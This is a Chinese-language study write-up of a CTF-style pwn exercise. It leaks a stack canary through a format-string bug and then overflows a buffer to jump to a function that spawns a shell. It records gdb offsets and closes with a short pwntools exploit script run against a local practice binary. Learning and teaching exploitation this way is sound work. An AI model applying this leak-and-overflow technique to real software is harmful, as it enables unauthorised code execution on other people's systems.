pwn学习总结 栈溢出,canary绕过和格式化字符串
目录
1. checksec看一下保护
- 开启了Canary和NX
- 有canary保护
- 并且堆栈不可执行
- PIE没有开,可以直接使用函数地址
2. IDA 看一下
- 可以看到read函数可以读入0x50长度的字符
- buf的空间只有32,可以溢出
- 但是要绕过canary
- 所以我用gdb动态调试一下
- 接着我们又看到了exploit函数
- 里面有system("/bin/sh")
- 可以获取权限
- 那么整个溢出的思路就有了
- 先找到canary的偏移
- 再利用printf格式化字符串泄露canary的地址
- 再构造payload
- 那么payload = 垃圾数据 + canary + 垃圾数据 + expolit函数地址
3. gdb动态调试
3.1. gdb打开canary1文件,断点先下在main函数上
- 开始执行gdb调试
3.2. disass命令查看一下func函数的汇编代码
3.3. 首先看一下canary的偏移是多少
- 所以我把断点下在printf函数前
3.4. 在上面的func函数的汇编代码中可以看到canary的偏移量是多少
- canary放到了[ebp - 0xc]这个位置上
3.5. 看一下canary的地址
3.6. 看一下栈,计算一下溢出量
- 先看一下canary需要泄露多少数据
- 数一下知道是15个
(gdb) %15$08x
- 用printf函数就可以泄露到canary的地址
- 可以看到我们已经拿到了canary
- 我打入的Microsoft是在0xffffd11c
- 返回地址是0xffffd14c
- canary的地址是0ffffd13c
- 数一下
- 需要覆盖4*8字节
- 然后加上canary
- 再填入垃圾数据3*4字节
- 最后加上返回地址
addr_exploit = 0x565561c9
4. exp入下
from pwn import *
p = process("./canary")
addr_exploit = 0x565561c9
str = "%15$08x"
p.sendline(str)
canary = int(p.recv(),16)
print(canary)
payload = 32 * 'a' + p32(canary) + 12 * 'a' + p32(0x565561c9)
p.sendline(payload)
p.interactive()
5.运行脚本
可以看到我们已经成功地获取到本机权限